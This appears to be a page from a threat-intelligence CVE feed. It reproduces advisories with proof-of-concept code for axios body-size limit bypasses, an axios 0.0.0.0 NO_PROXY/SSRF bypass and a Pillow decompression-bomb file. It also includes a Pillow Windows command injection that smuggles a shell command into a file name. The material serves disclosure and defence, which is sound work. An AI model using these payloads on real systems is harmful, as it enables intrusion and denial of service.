Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

521threats · All threats· page 3/27
Get guardrails →

Axios: HTTP/2 streamed uploads bypass `maxBodyLength`

Summary Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2. This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent. Impact An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit. Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control. Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary. Affected Functionality Affected calls require all of the following: Node.js HTTP adapter. httpVersion: 2. Request data supplied as a stream. A finite maxBodyLength. Attacker-controlled or attacker-influenced stream contents. Unaffected or differently affected paths: String, Buffer, and ArrayBuffer request bodies are checked before transport selection. Browser XHR/fetch adapters are not affected. HTTP/1.1 requests using follow-redirects enforce options.maxBodyLength. In axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams. Technical Details In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option. The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream. Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2. No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path. Proof of Concept of Attack ``js import http2 from 'node:http2'; import {Readable} from 'node:stream'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http2.createServer(); server.on('stream', (stream) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({':status': 200, 'content-type': 'application/json'}); stream.end(JSON.stringify({received, limit: LIMIT})); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); function makeBody(total) { const chunk = Buffer.alloc(64 1024, 0x41); let remaining = total; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; this.push(next); } }); } try { const response = await axios.post( http://127.0.0.1:${server.address().port}/upload, makeBody(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, headers: {'content-type': 'application/octet-stream'} } ); console.log(response.data); // Vulnerable result: { received: 2097152, limit: 1024 } } finally { server.close(); } ` Workarounds For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path. For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium. <details> <summary>Original Report</summary> Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 ` if (isHttp2) { transport = http2Transport; } else { const configTransport = own('transport'); if (configTransport) { transport = configTransport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http; isNativeTransport = true; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } const configBeforeRedirect = own('beforeRedirect'); if (configBeforeRedirect) { options.beforeRedirects.config = configBeforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } } ` maxBodyLength is then stored on the request options: http.js Lines 958-963 ` if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } ` …but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 ` // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength; let bytesSent = 0; uploadStream = stream.pipeline( [ data, new stream.Transform({ transform(chunk, _enc, cb) { bytesSent += chunk.length; if (bytesSent > limit) { return cb( new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, req ) ); } cb(null, chunk); }, }), ], utils.noop ); uploadStream.on('error', (err) => { if (!req.destroyed) req.destroy(err); }); } uploadStream.pipe(req); ` For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. PoC ` import http2 from 'node:http2'; import { Readable } from 'node:stream'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; // Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an // http://... authority, which mirrors what axios does when the request URL // uses http:// and httpVersion: 2. const server = http2.createServer(); server.on('stream', (stream, _headers) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({ ':status': 200, 'content-type': 'application/json', }); stream.end(JSON.stringify({ received, limit: LIMIT })); }); stream.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeBodyStream(totalBytes) { const CHUNK = Buffer.alloc(64 1024, 0x41); let remaining = totalBytes; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; this.push(next); }, }); } try { let result; try { const response = await axios.post(http://127.0.0.1:${port}/upload, makeBodyStream(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, // We intentionally do NOT set maxRedirects: 0 — that flag activates the // existing HTTP/1 byte-counting wrapper. The bug under test is that the // HTTP/2 transport path skips that wrapper entirely. headers: { 'content-type': 'application/octet-stream' }, // Omit content-length so the body is streamed without a known length. }); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: HTTP/2 maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.'); process.exitCode = 1; } } finally { server.close(); // http2 sessions cached by axios may keep the event loop alive; force exit // after the assertion so the script returns instead of idling on TCP keep-alive. setImmediate(() => process.exit(process.exitCode || 0)); } `` Impact Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

Summary axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. Impact An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth. This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard. Affected Functionality Affected: adapter: "fetch" or environments where axios selects the fetch adapter. Request methods with bodies, such as POST, PUT, and PATCH. data as a WHATWG ReadableStream without a reliable Content-Length. Configurations that set maxBodyLength to a finite value. Not affected: Axios versions before the fetch adapter was introduced. The Node HTTP adapter stream enforcement path. Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length. Technical Details In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present. The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch(). When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap. The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST. Proof of Concept of Attack Run from the axios repo root on Node 18+ against an affected version: ``js import http from 'node:http'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); function makeReadableStream(totalBytes) { const chunk = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, } ); console.log(response.data); } finally { server.close(); } ` Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024. Workarounds Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available. <details> <summary>Original Report</summary> Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 ` const getBodyLength = async (body) => { if (body == null) { return 0; } if (utils.isBlob(body)) { return body.size; } if (utils.isSpecCompliantForm(body)) { const _request = new Request(platform.origin, { method: 'POST', body, }); return (await _request.arrayBuffer()).byteLength; } if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) { return body.byteLength; } if (utils.isURLSearchParams(body)) { body = body + ''; } if (utils.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; ` For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 ` // Enforce maxBodyLength against the outbound request body before dispatch. // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than // maxBodyLength limit'). Skip when the body length cannot be determined // (e.g. a live ReadableStream supplied by the caller). if (hasMaxBodyLength && method !== 'get' && method !== 'head') { const outboundLength = await resolveBodyLength(headers, data); if ( typeof outboundLength === 'number' && isFinite(outboundLength) && outboundLength > maxBodyLength ) { throw new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, request ); } } ` The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 ` if (_request.body) { const [onProgress, flush] = progressEventDecorator( requestContentLength, progressEventReducer(asyncDecorator(onUploadProgress)) ); data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush); } ` The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. PoC ` import http from 'node:http'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); req.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeReadableStream(totalBytes) { const CHUNK = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { let result; try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, // No content-length: the stream's total length is unknown ahead of // dispatch, which is exactly the vulnerable code path. } ); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.'); process.exitCode = 1; } } finally { server.close(); } `` Impact Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). Bypass of cost / quota guards on upstream APIs. Resource exhaustion against the runtime's network stack and against upstream peers. </details>

Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

Summary Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it. The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue. Impact Applications are affected when all of the following are true: The application runs axios in Node.js with the HTTP adapter. The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY. The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path. Attacker-controlled input can influence the request URL or redirect target. The configured proxy does not reject 0.0.0.0 and can reach the local destination. For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions. Affected Functionality Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter: lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy. lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries. Explicit caller-provided config.proxy remains trusted caller configuration. Browser, React Native, XHR, and fetch adapter behavior are not affected. Technical Details lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0. At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback: ``js return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ` Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy. Proof of Concept of Attack `js import http from 'http'; import axios from './index.js'; const listen = (handler, host = '127.0.0.1') => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, host, () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const origin = await listen((req, res) => res.end('origin'), '0.0.0.0'); let proxyRequests = 0; const proxy = await listen((req, res) => { proxyRequests += 1; res.end('proxied'); }); process.env.http_proxy = http://127.0.0.1:${proxy.address().port}; process.env.HTTP_PROXY = process.env.http_proxy; process.env.no_proxy = 'localhost,127.0.0.1,::1'; process.env.NO_PROXY = process.env.no_proxy; try { const direct = await axios.get(http://127.0.0.1:${origin.address().port}/); const zero = await axios.get(http://0.0.0.0:${origin.address().port}/); console.log({ direct: direct.data, zero: zero.data, proxyRequests }); } finally { await close(origin); await close(proxy); } ` Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations. Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy. Workarounds Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies. Reject or normalize 0.0.0.0 in application URL validation before calling axios. Set proxy: false on axios requests that must never use environment proxies. Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges. <details> <summary>Original Report</summary> Summary axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon. Details Affected versions >= 1.15.0, <= 1.16.1 The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #10661). --- Root cause File: lib/helpers/shouldBypassProxy.js ``javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): const LOOPBACK_HOSTNAMES = new Set(['localhost']); const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); }; </details>

OWASP A10LLM02 · Insecure OutputOWASP Web
Get guardrail →

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

1. Summary WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands. The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py. --- 2. Vulnerable Code File: src/PIL/ImageShow.py, lines 133–150 ``python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ` Contrast with macOS — SAFE (line 164–168): `python class MacViewer(Viewer): def get_command(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ` Cross-platform summary: | Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No | shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- 3. Proof of Concept A full working PoC is at poc_pillow_injection.py. Key parts: Part A — Injection string construction (static, no execution): `python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues ` Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): `python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via get_command() `` ---

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

Description PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection. Vulnerable code (PIL/GdImageFile.py lines 50–61): ``python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ` When load() is subsequently called on the returned image object: `python load() → load_prepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ` Dimension arithmetic: | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) | Comparison with safe sibling plugin (WalImageFile): WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix: `python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ` GdImageFile was never updated to match, leaving a gap in protection. Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAX_IMAGE_PIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ` Expected output: ` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ` Verified live on Pillow 12.2.0. Two attack paths: | Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. Real-world scenario: `python from PIL import GdImageFile Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ` Impact Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. Confidentiality: None Integrity: None Authentication required: No — any public endpoint accepting image uploads is affected User interaction: None Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

